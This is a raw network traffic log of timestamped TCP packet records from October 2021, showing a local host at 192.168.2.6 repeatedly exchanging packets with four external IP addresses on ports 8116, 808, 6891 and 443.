Oct 28, 2021 04:58:38.543128967 CEST	8116	49831	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:38.611654997 CEST	808	49830	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:38.611697912 CEST	808	49830	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:38.611890078 CEST	49830	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:38.611980915 CEST	49830	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:38.618457079 CEST	49830	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:38.726284027 CEST	8116	49831	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:38.726315022 CEST	8116	49831	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:38.729954004 CEST	49831	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:38.732121944 CEST	49831	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:38.738789082 CEST	49832	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:38.782568932 CEST	808	49830	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:38.788326025 CEST	8116	49831	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:38.843918085 CEST	49833	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:38.843976974 CEST	443	49833	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:38.844125986 CEST	49833	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:38.844835997 CEST	49833	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:38.844881058 CEST	443	49833	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:38.904218912 CEST	6891	49832	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:38.904959917 CEST	49832	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:38.905694008 CEST	49832	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:39.070873022 CEST	6891	49832	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:39.070945024 CEST	6891	49832	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:39.071043015 CEST	49832	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:39.071614981 CEST	49832	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:39.076595068 CEST	49832	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:39.076720953 CEST	49832	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:39.241837025 CEST	6891	49832	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:39.241866112 CEST	6891	49832	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:39.366532087 CEST	443	49833	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:39.366775036 CEST	49833	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:39.367486000 CEST	49833	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:39.367497921 CEST	443	49833	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:39.373533010 CEST	49833	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:39.373553991 CEST	443	49833	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:39.373656988 CEST	49833	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:39.373670101 CEST	443	49833	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:39.620925903 CEST	6891	49832	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:39.620949984 CEST	6891	49832	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:39.621088028 CEST	49832	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:39.628705025 CEST	49832	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:39.755232096 CEST	49834	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:39.793921947 CEST	6891	49832	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:39.806466103 CEST	8116	49834	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:39.806775093 CEST	49834	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:39.807430029 CEST	49834	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:39.858346939 CEST	8116	49834	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:39.858599901 CEST	8116	49834	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:39.858711958 CEST	49834	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:39.859297037 CEST	49834	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:39.864240885 CEST	49834	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:39.864366055 CEST	49834	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:39.915214062 CEST	8116	49834	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:39.915239096 CEST	8116	49834	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:39.915986061 CEST	8116	49834	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:40.085808992 CEST	443	49833	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:40.085880041 CEST	443	49833	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:40.086863041 CEST	49833	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:40.087032080 CEST	8116	49834	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:40.087054014 CEST	8116	49834	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:40.087172985 CEST	49834	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:40.090610027 CEST	49833	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:40.090641022 CEST	443	49833	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:40.095375061 CEST	49834	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:40.146320105 CEST	8116	49834	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:40.213057041 CEST	49835	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:40.214663029 CEST	49836	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:40.214726925 CEST	443	49836	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:40.214869022 CEST	49836	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:40.215533018 CEST	49836	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:40.215559959 CEST	443	49836	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:40.373311043 CEST	808	49835	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:40.376162052 CEST	49835	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:40.376949072 CEST	49835	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:40.537038088 CEST	808	49835	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:40.537214994 CEST	808	49835	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:40.545665026 CEST	49835	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:40.573869944 CEST	49835	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:40.578919888 CEST	49835	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:40.579065084 CEST	49835	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:40.733989954 CEST	808	49835	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:40.738945007 CEST	808	49835	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:40.738960981 CEST	808	49835	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:40.738993883 CEST	808	49835	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:40.742238998 CEST	443	49836	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:40.765734911 CEST	49836	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:40.782850981 CEST	49836	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:40.782891035 CEST	443	49836	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:40.788959026 CEST	49836	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:40.788995981 CEST	443	49836	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:40.789062977 CEST	49836	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:40.789074898 CEST	443	49836	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:41.117211103 CEST	808	49835	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:41.117258072 CEST	808	49835	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:41.117552996 CEST	49835	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:41.121831894 CEST	49835	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:41.251072884 CEST	49837	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:41.282006979 CEST	808	49835	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:41.416579008 CEST	6891	49837	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:41.434505939 CEST	49837	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:41.436075926 CEST	49837	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:41.502247095 CEST	443	49836	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:41.502337933 CEST	443	49836	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:41.504776955 CEST	49836	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:41.513696909 CEST	49836	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:41.513755083 CEST	443	49836	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:41.601564884 CEST	6891	49837	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:41.601588011 CEST	6891	49837	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:41.605925083 CEST	49837	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:41.606502056 CEST	49837	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:41.611933947 CEST	49837	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:41.612076998 CEST	49837	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:41.777472973 CEST	6891	49837	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:41.777502060 CEST	6891	49837	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:42.176825047 CEST	6891	49837	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:42.176923037 CEST	6891	49837	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:42.193881989 CEST	49837	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:42.284178019 CEST	49837	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:42.330305099 CEST	49838	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:42.400887012 CEST	49839	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:42.448690891 CEST	8116	49839	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:42.449670076 CEST	6891	49837	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:42.458858967 CEST	49839	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:42.476104021 CEST	49839	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:42.493273020 CEST	808	49838	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:42.493417978 CEST	49838	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:42.493983030 CEST	49838	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:42.524369001 CEST	8116	49839	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:42.524534941 CEST	8116	49839	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:42.525381088 CEST	49839	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:42.526019096 CEST	49839	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:42.530982971 CEST	49839	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:42.531105995 CEST	49839	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:42.578711987 CEST	8116	49839	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:42.578807116 CEST	8116	49839	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:42.578860998 CEST	8116	49839	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:42.579241991 CEST	8116	49839	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:42.656112909 CEST	808	49838	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:42.656162977 CEST	808	49838	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:42.663079977 CEST	49838	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:42.665381908 CEST	49838	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:42.670598984 CEST	49838	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:42.670711040 CEST	49838	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:42.765006065 CEST	8116	49839	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:42.765031099 CEST	8116	49839	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:42.785579920 CEST	49839	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:42.788827896 CEST	49839	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:42.827544928 CEST	808	49838	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:42.832709074 CEST	808	49838	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:42.832741022 CEST	808	49838	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:42.832758904 CEST	808	49838	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:42.832784891 CEST	808	49838	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:42.836451054 CEST	8116	49839	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:42.915432930 CEST	49840	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:42.915488958 CEST	443	49840	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:42.915613890 CEST	49840	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:42.916563988 CEST	49840	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:42.916588068 CEST	443	49840	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:43.219073057 CEST	808	49838	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:43.219096899 CEST	808	49838	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:43.233515978 CEST	49838	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:43.431798935 CEST	443	49840	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:43.436289072 CEST	49840	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:43.707241058 CEST	49838	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:43.708811998 CEST	49840	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:43.708877087 CEST	443	49840	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:43.712994099 CEST	49840	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:43.713037014 CEST	443	49840	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:43.713093996 CEST	49840	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:43.713119030 CEST	443	49840	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:43.869678974 CEST	808	49838	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:43.926196098 CEST	49841	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:44.093883038 CEST	6891	49841	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:44.094019890 CEST	49841	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:44.094564915 CEST	49841	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:44.260966063 CEST	6891	49841	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:44.261049986 CEST	6891	49841	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:44.261251926 CEST	49841	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:44.263305902 CEST	49841	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:44.380887032 CEST	49841	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:44.380987883 CEST	49841	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:44.418652058 CEST	443	49840	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:44.418737888 CEST	443	49840	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:44.419604063 CEST	49840	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:44.423854113 CEST	49840	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:44.423899889 CEST	443	49840	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:44.470371962 CEST	6891	49841	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:44.547374010 CEST	6891	49841	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:44.547399998 CEST	6891	49841	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:44.547415972 CEST	6891	49841	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:44.761145115 CEST	49842	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:44.919356108 CEST	808	49842	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:44.919589996 CEST	49842	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:44.920284986 CEST	49842	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:44.927064896 CEST	6891	49841	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:44.927087069 CEST	6891	49841	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:44.931586981 CEST	49841	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:44.939311981 CEST	49841	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:45.062293053 CEST	49843	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:45.078387022 CEST	808	49842	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:45.078516960 CEST	808	49842	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:45.078619003 CEST	49842	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:45.079209089 CEST	49842	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:45.084162951 CEST	49842	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:45.084296942 CEST	49842	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:45.105767965 CEST	6891	49841	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:45.121357918 CEST	8116	49843	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:45.121520042 CEST	49843	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:45.165908098 CEST	49843	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:45.224737883 CEST	8116	49843	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:45.224937916 CEST	8116	49843	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:45.225042105 CEST	49843	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:45.226300001 CEST	49843	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:45.232072115 CEST	49843	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:45.232255936 CEST	49843	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:45.237196922 CEST	808	49842	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:45.242235899 CEST	808	49842	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:45.242252111 CEST	808	49842	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:45.242259979 CEST	808	49842	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:45.290915966 CEST	8116	49843	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:45.462307930 CEST	8116	49843	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:45.462335110 CEST	8116	49843	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:45.462559938 CEST	49843	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:45.470048904 CEST	49843	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:45.528836012 CEST	8116	49843	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:45.587579012 CEST	49844	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:45.587630033 CEST	443	49844	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:45.587750912 CEST	49844	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:45.588378906 CEST	49844	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:45.588401079 CEST	443	49844	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:45.626437902 CEST	808	49842	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:45.626460075 CEST	808	49842	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:45.626655102 CEST	49842	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:45.626697063 CEST	49842	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:45.629995108 CEST	49842	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:45.739351034 CEST	49845	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:45.788161039 CEST	808	49842	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:45.905088902 CEST	6891	49845	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:45.905317068 CEST	49845	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:45.906023026 CEST	49845	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:46.071245909 CEST	6891	49845	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:46.071360111 CEST	6891	49845	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:46.071465969 CEST	49845	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:46.071930885 CEST	49845	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:46.075416088 CEST	49845	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:46.075510025 CEST	49845	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:46.080924034 CEST	443	49844	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:46.081059933 CEST	49844	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:46.081582069 CEST	49844	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:46.081597090 CEST	443	49844	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:46.085777044 CEST	49844	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:46.085815907 CEST	443	49844	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:46.085859060 CEST	49844	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:46.085881948 CEST	443	49844	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:46.244452953 CEST	6891	49845	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:46.244478941 CEST	6891	49845	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:46.244486094 CEST	6891	49845	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:46.623888016 CEST	6891	49845	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:46.623914003 CEST	6891	49845	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:46.624078989 CEST	49845	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:46.624125957 CEST	49845	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:46.627193928 CEST	49845	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:46.740665913 CEST	49846	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:46.785645008 CEST	443	49844	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:46.785726070 CEST	443	49844	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:46.785785913 CEST	49844	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:46.785824060 CEST	49844	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:46.788961887 CEST	8116	49846	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:46.789056063 CEST	49846	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:46.789720058 CEST	49846	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:46.792663097 CEST	6891	49845	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:46.793195963 CEST	49844	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:46.793236017 CEST	443	49844	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:46.839154005 CEST	8116	49846	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:46.839449883 CEST	8116	49846	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:46.839549065 CEST	49846	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:46.840090036 CEST	49846	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:46.844875097 CEST	49846	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:46.845000982 CEST	49846	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:46.892941952 CEST	8116	49846	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:46.894041061 CEST	8116	49846	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:46.915183067 CEST	49847	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:47.080718040 CEST	808	49847	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:47.080981970 CEST	49847	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:47.081657887 CEST	49847	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:47.086065054 CEST	8116	49846	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:47.086083889 CEST	8116	49846	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:47.086189985 CEST	49846	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:47.089236021 CEST	49846	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:47.137813091 CEST	8116	49846	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:47.211257935 CEST	49848	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:47.211302042 CEST	443	49848	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:47.211385965 CEST	49848	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:47.215576887 CEST	49848	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:47.215595007 CEST	443	49848	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:47.246965885 CEST	808	49847	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:47.247211933 CEST	808	49847	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:47.247284889 CEST	49847	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:47.248032093 CEST	49847	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:47.253936052 CEST	49847	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:47.254103899 CEST	49847	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:47.413417101 CEST	808	49847	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:47.419322968 CEST	808	49847	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:47.419346094 CEST	808	49847	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:47.419353962 CEST	808	49847	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:47.419399023 CEST	808	49847	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:47.700062990 CEST	443	49848	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:47.700150967 CEST	49848	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:47.700783014 CEST	49848	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:47.700803995 CEST	443	49848	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:47.706896067 CEST	49848	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:47.706921101 CEST	443	49848	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:47.706976891 CEST	49848	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:47.706990004 CEST	443	49848	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:47.802817106 CEST	808	49847	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:47.802839994 CEST	808	49847	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:47.802896976 CEST	49847	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:47.802975893 CEST	49847	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:47.811122894 CEST	49847	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:47.928080082 CEST	49849	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:47.976926088 CEST	808	49847	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:48.096544027 CEST	6891	49849	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:48.098520041 CEST	49849	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:48.099093914 CEST	49849	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:48.265511990 CEST	6891	49849	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:48.265677929 CEST	6891	49849	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:48.265779018 CEST	49849	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:48.266405106 CEST	49849	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:48.272242069 CEST	49849	6891	192.168.2.6	45.77.0.96
